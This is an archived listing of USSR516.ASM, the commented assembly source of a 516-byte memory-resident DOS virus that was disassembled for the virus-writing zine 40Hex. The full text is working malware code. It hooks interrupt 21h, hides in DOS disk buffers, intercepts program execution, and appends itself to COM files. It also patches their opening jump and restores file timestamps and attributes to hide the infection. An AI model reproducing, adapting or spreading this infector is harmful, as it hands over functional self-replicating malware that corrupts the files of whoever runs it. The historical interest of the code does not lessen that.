home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / USSR516.ASM < prev    next >
Assembly Source File  |  1992-11-04  |  14KB  |  279 lines
  1. ussr516         segment byte public
  2.                 assume  cs:ussr516, ds:ussr516
  3.                 org     100h
  4. ; Disassembled by Dark Angel of PHALCON/SKISM
  5. ; for 40Hex Number 7 Volume 2 Issue 3
  6. stub:           db      0e9h, 0, 0
  7.                 db      0e9h, 1, 0, 0
  8. ; This is where the virus really begins
  9. start:
  10.                 push    ax
  11.                 call    beginvir
  12.  
  13. orig4           db      0cdh, 20h, 0, 0
  14. int30store      db      0, 0, 0, 0                     ; Actually it's int 21h
  15.                                                        ; entry point
  16. int21store      db      0, 0, 0, 0
  17.  
  18. beginvir:       pop     bp                             ; BP -> orig4
  19.                 mov     si,bp
  20.                 mov     di,103h
  21.                 add     di,[di-2]                      ; DI -> orig4
  22.                 movsw                                  ; restore original
  23.                 movsw                                  ; 4 bytes of program
  24.                 xor     si,si
  25.                 mov     ds,si
  26.                 les     di,dword ptr ds:[21h*4]
  27.                 mov     [bp+8],di                      ; int21store
  28.                 mov     [bp+0Ah],es
  29.                 lds     di,dword ptr ds:[30h*4+1]      ; Bug????
  30. findmarker:
  31.                 inc     di
  32.                 cmp     word ptr [di-2],0E18Ah         ; Find marker bytes
  33.                 jne     findmarker                     ; to the entry point
  34.                 mov     [bp+4],di                      ; and move to
  35.                 mov     [bp+6],ds                      ; int30store
  36.                 mov     ax,5252h                       ; Get list of lists
  37.                 int     21h                            ; and also ID check
  38.  
  39.                 add     bx,12h                         ; Already installed?
  40.                 jz      quitvir                        ; then exit
  41.                 push    bx
  42.                 mov     ah,30h                         ; Get DOS version
  43.                 int     21h
  44.  
  45.                 pop     bx                             ; bx = 12, ptr to 1st
  46.                                                        ; disk buffer
  47.                 cmp     al,3
  48.                 je      handlebuffer                   ; if DOS 3
  49.                 ja      handleDBHCH                    ; if > DOS 3
  50.                 inc     bx                             ; DOS 2.X, offset is 13
  51. handlebuffer:
  52.                 push    ds
  53.                 push    bx
  54.                 lds     bx,dword ptr [bx]              ; Get seg:off of buffer
  55.                 inc     si
  56.                 pop     di
  57.                 pop     es                             ; ES:DI->seg:off buff
  58.                 mov     ax,[bx]                        ; ptr to next buffer
  59.                 cmp     ax,0FFFFh                      ; least recently used?
  60.                 jne     handlebuffer                   ; if not, go find it
  61.                 cmp     si,3
  62.                 jbe     quitvir
  63.                 stosw
  64.                 stosw
  65.                 jmp     short movetobuffer
  66. handleDBHCH:   ; Disk Buffer Hash Chain Head array
  67.                 lds     si,dword ptr [bx]              ; ptr to disk buffer
  68.                 lodsw                                  ; info
  69.                 lodsw                                  ; seg of disk buffer
  70.                                                        ; hash chain head array
  71.                 inc     ax                             ; second entry
  72.                 mov     ds,ax
  73.                 xor     bx,bx
  74.                 mov     si,bx
  75.                 lodsw                                  ; EMS page, -1 if not
  76.                                                        ; in EMS
  77.                 xchg    ax,di                          ; save in di
  78.                 lodsw                                  ; ptr to least recently
  79.                                                        ; used buffer
  80.                 mov     [di+2],ax                      ; change disk buffer
  81.                                                        ; backward offset to
  82.                                                        ; least recently used
  83.                 xchg    ax,di                          ; restore EMS page
  84.                 mov     [di],ax                        ; set to least recently
  85. movetobuffer:                                          ; used
  86.                 mov     di,bx
  87.                 push    ds
  88.                 pop     es                             ; ES:DI -> disk buffer
  89.                 push    cs
  90.                 pop     ds
  91.                 mov     cx,108h
  92.                 lea     si,[bp-4]                      ; Copy from start
  93.                 rep     movsw
  94.                 mov     ds,cx                          ; DS -> interrupt table
  95.                 mov     word ptr ds:[4*21h],0BCh       ; New interrupt handler
  96.                 mov     word ptr ds:[4*21h+2],es       ; at int21
  97. quitvir:
  98.                 push    cs                             ; CS = DS = ES
  99.                 pop     es
  100.                 push    es
  101.                 pop     ds
  102.                 pop     ax
  103.                 mov     bx,ax
  104.                 mov     si, 100h                       ; set up stack for
  105.                 push    si                             ; the return to the
  106.                 retn                                   ; original program
  107. int24:
  108.                 mov     al,3                           ; Ignore all errors
  109.                 iret
  110. tickstore       db      3                              ; Why???
  111. buffer          db      3, 0, 9, 0
  112.  
  113. int21:
  114.                 pushf
  115.                 cli                                    ; CP/M style call entry
  116.                 call    dword ptr cs:[int30store-start]
  117.                 retn                                   ; point of int 21h
  118.  
  119. int21DSDX:                                             ; For int 21h calls
  120.                 push    ds                             ; with
  121.                 lds     dx,dword ptr [bp+2]            ; DS:DX -> filename
  122.                 call    int21
  123.                 pop     ds
  124.                 retn
  125.  
  126.                 cmp     ax,4B00h                       ; Execute
  127.                 je      Execute
  128.                 cmp     ax,5252h                       ; ID check
  129.                 je      CheckID
  130.                 cmp     ah,30h                         ; DOS Version
  131.                 je      DosVersion
  132. callorig21:                                            ; Do other calls
  133.                 jmp     dword ptr cs:[int21store-start]
  134. DosVersion:    ; Why?????                             ; DOS Version
  135.                 dec     byte ptr cs:[tickstore-start]
  136.                 jnz     callorig21                     ; Continue if not 0
  137.                 push    es
  138.                 xor     ax,ax
  139.                 push    ax
  140.                 mov     es,ax
  141.                 mov     al,es:[46Ch]                   ; 40h:6Ch = Timer ticks
  142.                                                        ; since midnight
  143.                 and     al,7                           ; MOD 15
  144.                 inc     ax
  145.                 inc     ax
  146.                 mov     cs:[tickstore-start],al        ; # 2-17
  147.                 pop     ax
  148.                 pop     es
  149.                 iret
  150. CheckID:                                               ; ID Check
  151.                 mov     bx,0FFEEh                      ; FFEEh = -12h
  152.                 iret
  153. Execute:                                               ; Execute
  154.                 push    ax                             ; Save registers
  155.                 push    cx
  156.                 push    es
  157.                 push    bx
  158.                 push    ds                             ; DS:DX -> filename
  159.                 push    dx                             ; save it on stack
  160.                 push    bp
  161.                 mov     bp,sp                          ; Set up stack frame
  162.                 sub     sp,0Ah                         ; Temporary variables
  163.                                                        ; [bp-A] = attributes
  164.                                                        ; [bp-8] = int 24 off
  165.                                                        ; [bp-6] = int 24 seg
  166.                                                        ; [bp-4] = file time
  167.                                                        ; [bp-2] = file date
  168.                 sti
  169.                 push    cs
  170.                 pop     ds
  171.                 mov     ax,3301h                       ; Turn off ^C check
  172.                 xor     dl,dl                          ; (never turn it back
  173.                 call    int21                          ;  on.  Bug???)
  174.                 mov     ax,3524h                       ; Get int 24h
  175.                 call    int21                          ; (Critical error)
  176.                 mov     [bp-8],bx
  177.                 mov     [bp-6],es
  178.                 mov     dx,int24-start
  179.                 mov     ax,2524h                       ; Set to new one
  180.                 call    int21
  181.                 mov     ax,4300h                       ; Get attributes
  182.                 call    int21DSDX
  183.                 jnc     continue
  184. doneinfect:
  185.                 mov     ax,2524h                       ; Restore crit error
  186.                 lds     dx,dword ptr [bp-8]            ; handler
  187.                 call    int21
  188.                 cli
  189.                 mov     sp,bp
  190.                 pop     bp
  191.                 pop     dx
  192.                 pop     ds
  193.                 pop     bx
  194.                 pop     es
  195.                 pop     cx
  196.                 pop     ax
  197.                 jmp     short callorig21               ; Call orig handler
  198. continue:
  199.                 mov     [bp-0Ah],cx                    ; Save attributes
  200.                 test    cl,1                           ; Check if r/o????
  201.                 jz      noclearattr
  202.                 xor     cx,cx
  203.                 mov     ax,4301h                       ; Clear attributes
  204.                 call    int21DSDX                      ; Filename in DS:DX
  205.                 jc      doneinfect                     ; Quit on error
  206. noclearattr:
  207.                 mov     ax,3D02h                       ; Open read/write
  208.                 call    int21DSDX                      ; Filename in DS:DX
  209.                 jc      doneinfect                     ; Exit if error
  210.                 mov     bx,ax
  211.                 mov     ax,5700h                       ; Save time/date
  212.                 call    int21
  213.                 mov     [bp-4],cx
  214.                 mov     [bp-2],dx
  215.                 mov     dx,buffer-start
  216.                 mov     cx,4
  217.                 mov     ah,3Fh                         ; Read 4 bytes to
  218.                 call    int21                          ; buffer
  219.                 jc      quitinf
  220.                 cmp     byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
  221.                 jne     quitinf                        ; Otherwise, quit
  222.                 mov     dx,word ptr ds:[buffer+1-start]; dx = jmploc
  223.                 dec     dx
  224.                 xor     cx,cx
  225.                 mov     ax,4201h                       ; go there
  226.                 call    int21
  227.                 mov     ds:[buffer-start],ax           ; new location offset
  228.                 mov     dx,orig4-start
  229.                 mov     cx,4
  230.                 mov     ah,3Fh                         ; Read 4 bytes there
  231.                 call    int21
  232.                 mov     dx,ds:[orig4-start]
  233.                 cmp     dl,0E9h                        ; 0E9h means we might
  234.                 jne     infect                         ; already be there
  235.                 mov     ax,ds:[orig4+2-start]          ; continue checking
  236.                 add     al,dh                          ; to see if we really
  237.                 sub     al,ah                          ; are there.
  238.                 jz      quitinf
  239. infect:
  240.                 xor     cx,cx
  241.                 mov     dx,cx
  242.                 mov     ax,4202h                       ; Go to EOF
  243.                 call    int21
  244.                 mov     ds:[buffer+2-start],ax         ; save filesize
  245.                 mov     cx,204h
  246.                 mov     ah,40h                         ; Write virus
  247.                 call    int21
  248.                 jc      quitinf                        ; Exit if error
  249.                 sub     cx,ax
  250.                 jnz     quitinf
  251.                 mov     dx,ds:[buffer-start]
  252.                 mov     ax,ds:[buffer+2-start]
  253.                 sub     ax,dx
  254.                 sub     ax,3                           ; AX->jmp offset
  255.                 mov     word ptr ds:[buffer+1-start],ax; Set up buffer
  256.                 mov     byte ptr ds:[buffer-start],0E9h; code the jmp
  257.                 add     al,ah
  258.                 mov     byte ptr ds:[buffer+3-start],al
  259.                 mov     ax,4200h                       ; Rewind to jmploc
  260.                 call    int21
  261.                 mov     dx, buffer-start
  262.                 mov     cx,4                           ; Write in the jmp
  263.                 mov     ah,40h
  264.                 call    int21
  265. quitinf:
  266.                 mov     cx,[bp-4]
  267.                 mov     dx,[bp-2]
  268.                 mov     ax,5701h                       ; Restore date/time
  269.                 call    int21
  270.                 mov     ah,3Eh                         ; Close file
  271.                 call    int21
  272.                 mov     cx,[bp-0Ah]                    ; Restore attributes
  273.                 mov     ax,4301h
  274.                 call    int21DSDX
  275.                 jmp     doneinfect                     ; Return
  276. ussr516         ends
  277.                 end     stub
  278.  
  279.